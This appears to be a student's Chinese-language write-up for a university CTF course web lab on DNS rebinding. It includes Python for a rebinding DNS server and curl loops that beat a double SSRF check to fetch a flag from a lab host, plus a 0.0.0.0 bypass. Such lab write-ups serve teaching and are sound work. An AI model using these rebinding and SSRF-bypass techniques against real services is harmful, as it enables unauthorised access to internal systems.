AAA CTF101 安全攻防实践短学期 Web Lab 1

实验指导

仅供参考。

Task 1

参考文章:写一个 DNS 服务器

实际上主要的思路就是选取一个幸运域名拦截,其他的正常转发给正常 DNS 服务器获取 IP 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
def get_ip_from_domain(resolver, domain):
domain = domain.lower().strip()
if domain.endswith('reb.example.com'):
if random.random() < 0.5:
return '127.0.0.1'
else:
return '40.12.123.7'

try:
return resolver.resolve(domain, 'A')[0].to_text()
except Exception as e:
logging.error(f'Error while resolving {domain}: {e}')
return None

Task 2

使用在线工具 rbndr.us dns rebinding service 即可。

分析所给的 Python 服务端程序,代码在 safe_request_url() 函数中先调用一次 check_ssrf(),之后在 requests.get() 调用时设置的 hook 中再调用一次 check_ssrf()。这两次检查时 DNS 都应当返回一个外网地址,在真正发送请求的时候 DNS 解析到 127.0.0.1 就可以实现 getflag。

1
2
3
4
5
6
while true
do
curl http://10.214.160.13:10011/http://01010101.7f000001.rbndr.us:9999/flag
echo
sleep .1
done

实际上 Hint 中提到已经修复的非预期还可以利用

1
curl http://10.214.160.13:10011/http://0.0.0.0:9999/flag

AAA CTF101 安全攻防实践短学期 Web Lab 1
https://heap.45gfg9.net/t/ZJU/2023-CTF101/79c3b32f30d4/
作者
45gfg9
发布于
2023-07-06
许可协议